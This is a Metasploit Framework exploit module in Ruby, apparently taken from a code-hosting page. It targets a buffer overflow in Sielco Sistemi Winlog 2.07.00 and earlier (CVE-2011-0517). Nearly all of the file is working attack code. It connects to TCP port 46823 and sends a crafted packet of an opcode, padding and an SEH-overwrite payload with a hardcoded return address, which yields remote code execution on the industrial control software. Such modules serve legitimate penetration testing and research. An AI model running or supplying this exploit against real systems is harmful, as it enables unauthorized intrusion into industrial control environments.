78 lines
1.8 KiB
Ruby
78 lines
1.8 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Sielco
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Sistem Winlog <= 2.07.00. When sending a specially formatted
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packet to the Runtime.exe service, an attacker may be able to
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execute arbitrary code.
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},
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'Author' => [ 'Luigi Auriemma', 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2011-0517' ],
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[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 450,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 13 2011'))
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register_options([Opt::RPORT(46823)], self.class)
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end
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def exploit
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connect
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data = [0x02].pack('C') # opcode
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data << [0x0101].pack('n')
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data << rand_text_alpha_upper(588)
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data << generate_seh_payload(target.ret)
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print_status("Trying target #{target.name}...")
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sock.put(data)
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handler
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disconnect
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end
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end
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